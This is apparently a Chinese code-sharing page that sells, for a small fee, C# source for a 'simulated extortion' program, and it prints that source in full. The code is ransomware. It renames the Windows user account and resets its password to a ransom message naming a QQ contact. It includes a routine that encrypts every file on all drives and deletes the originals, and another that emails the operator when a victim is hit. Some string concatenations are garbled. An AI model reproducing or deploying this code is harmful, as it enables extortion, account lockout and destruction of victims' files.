模拟敲诈勒索加密解密

基本信息

源码名称：模拟敲诈勒索加密解密

源码大小：0.05M

文件格式：.rar

开发语言：C#

更新时间：2015-10-03

友情提示：（无需注册或充值，赞助后即可获取资源下载链接）

嘿，亲！知识可是无价之宝呢，但咱这精心整理的资料也耗费了不少心血呀。小小地破费一下，绝对物超所值哦！如有下载和支付问题，请联系我们QQ(微信同号)：813200300

本次赞助数额为： 1 元　

源码介绍

using System;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace 委托人
{
/// <summary>
/// 解密程序在同一个解决方案下
/// </summary>
public partial class Form1 : Form
{
private string pwd = "";
private string key = "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111";
private DriveInfo[] drives;
private string username;
private string Randomcode = "";
//AES默认密钥向量
public static readonly byte[] AES_IV = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF, 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
public Form1()
{
InitializeComponent();
//获取磁盘所有驱动
drives = DriveInfo.GetDrives();
//获取当前登录账户名
username = Environment.UserName;
//生成密码
pwd = DateTime.Now.ToString();
//生成随机码
Randomcode = EncryptByAES(pwd, key);
//批处理此处批处理有bug 需自行修改
StringBuilder sb = new StringBuilder();
sb.Append("set /p user=" username);
sb.Append(" set /p newuser=想破密码加Q1712385429解密文件需另外付钱解密随机码" Randomcode);
sb.Append(" wmic useraccount where name='%user%' call Rename %newuser%");
sb.Append(" net user 想破密码加Q1712385429解密文件需另外付钱解密随机码" Randomcode "123");
//执行批处理
Cmd(new string[] { sb.ToString() });
label1.Text = "想破密码加Q1712385429解密文件需另外付钱解密随机码" Randomcode;
//SendSmtp();//发送邮件提醒
//Traversedrive();//此处千万慎重执行未经测试不敢保证加密文件一定能全部正确解密
}
/// <summary>
/// 运行CMD命令
/// </summary>
/// <param name="cmd">命令</param>
/// <returns></returns>
public static string Cmd(string[] cmd)
{
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.Start();
p.StandardInput.AutoFlush = true;
for (int i = 0; i < cmd.Length; i )
{
p.StandardInput.WriteLine(cmd[i].ToString());
}
p.StandardInput.WriteLine("exit");
string strRst = p.StandardOutput.ReadToEnd();
p.WaitForExit(300);
p.Close();
return strRst;
}

/// <summary>
/// 遍历驱动
/// </summary>
private void Traversedrive()
{
//设置最大辅助线程为500异步I/O线程500
ThreadPool.SetMaxThreads(500, 500);
//遍历磁盘所有驱动
foreach (DriveInfo c in drives)
{
DirectoryInfo Root = c.RootDirectory;
//开启一条新线程遍历文件夹
ThreadPool.QueueUserWorkItem(new WaitCallback(Traversefolder), Root);
}
}

/// <summary>
/// 遍历硬盘所有文件并加密
/// </summary>
/// <param name="obj"></param>
private void Traversefolder(Object obj)
{
DirectoryInfo Root = (DirectoryInfo)obj;
//强类型获取所有文件和文件夹
FileSystemInfo[] SysInfo = Root.GetFileSystemInfos();
foreach (FileSystemInfo sys in SysInfo)
{
//是否是文件夹
if (sys is DirectoryInfo)
{
DirectoryInfo Dirinfo = sys as DirectoryInfo;
//开启一条新线程遍历文件夹
ThreadPool.QueueUserWorkItem(new WaitCallback(Traversefolder), Dirinfo);
return;
}
string outFile = "";
//如果是文件
if (sys is FileInfo)
{
try
{
//得到加密后文件输出路径
outFile = sys.FullName ".dat";
//加密
DESFileClass.EncryptFile(sys.FullName, outFile, pwd);
//删除源文件
sys.Delete();
}
catch
{
//此处代表权限不够删除加密后文件
if (File.Exists(outFile))
{
File.Delete(outFile);
}
}
}
}
}

/// <summary>
/// AES加密算法
/// </summary>
/// <param name="input">明文字符串</param>
/// <param name="key">密钥</param>
/// <returns>字符串</returns>
public static string EncryptByAES(string input, string key)
{
byte[] keyBytes = Encoding.UTF8.GetBytes(key.Substring(0, 32));
using (AesCryptoServiceProvider aesAlg = new AesCryptoServiceProvider())
{
aesAlg.Key = keyBytes;
aesAlg.IV = AES_IV;

ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream msEncrypt = new MemoryStream())
{
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
{
using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))
{
swEncrypt.Write(input);
}
byte[] bytes = msEncrypt.ToArray();
//return Convert.ToBase64String(bytes);//此方法不可用
return BitConverter.ToString(bytes);
}
}
}
}

/// <summary>
/// 邮件发送函数有bug 望擅长此道的人不吝赐教自行修改
/// </summary>
private void SendSmtp()
{
//简单邮件传输协议类
System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();
client.Host = "smtp.qq.com";//邮件服务器
client.Port = 25;//smtp主机上的端口号,默认是25.
client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;//邮件发送方式:通过网络发送到SMTP服务器
client.Credentials = new System.Net.NetworkCredential("panthervic@163.com","pwd");//凭证,发件人登录邮箱的用户名和密码

//电子邮件信息类
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("panthervic@163.com", "寻寻觅觅");//发件人Email,在邮箱是这样显示的,[发件人:小明<panthervic@163.com>;]
System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress("43327681@163.com", "随风去旅行");//收件人Email,在邮箱是这样显示的, [收件人:小红<43327681@163.com>;]
System.Net.Mail.MailMessage mailMessage = new System.Net.Mail.MailMessage(fromAddress, toAddress);//创建一个电子邮件类
mailMessage.Subject = "邮件的主题";
//string filePath = Server.MapPath("/index.html");//邮件的内容可以是一个html文本.
//System.IO.StreamReader read = new System.IO.StreamReader(filePath, System.Text.Encoding.GetEncoding("GB2312"));
//string mailBody = read.ReadToEnd();
string mailBody = "又有一条鱼上钩了准备！！！";
//read.Close();
mailMessage.Body = mailBody;//可为html格式文本
//mailMessage.Body = "邮件的内容";//可为html格式文本
mailMessage.SubjectEncoding = System.Text.Encoding.UTF8;//邮件主题编码
mailMessage.BodyEncoding = System.Text.Encoding.GetEncoding("GB2312");//邮件内容编码
mailMessage.IsBodyHtml = true;//邮件内容是否为html格式
mailMessage.Priority = System.Net.Mail.MailPriority.High;//邮件的优先级,有三个值:高(在邮件主题前有一个红色感叹号,表示紧急),低(在邮件主题前有一个蓝色向下箭头,表示缓慢),正常(无显示).
try
{
client.Send(mailMessage);//发送邮件
MessageBox.Show("发送成功");
//client.SendAsync(mailMessage, "ojb");异步方法发送邮件,不会阻塞线程.
}
catch (Exception ex)
{
MessageBox.Show("发送失败：" ex.Message);
}
}
}
}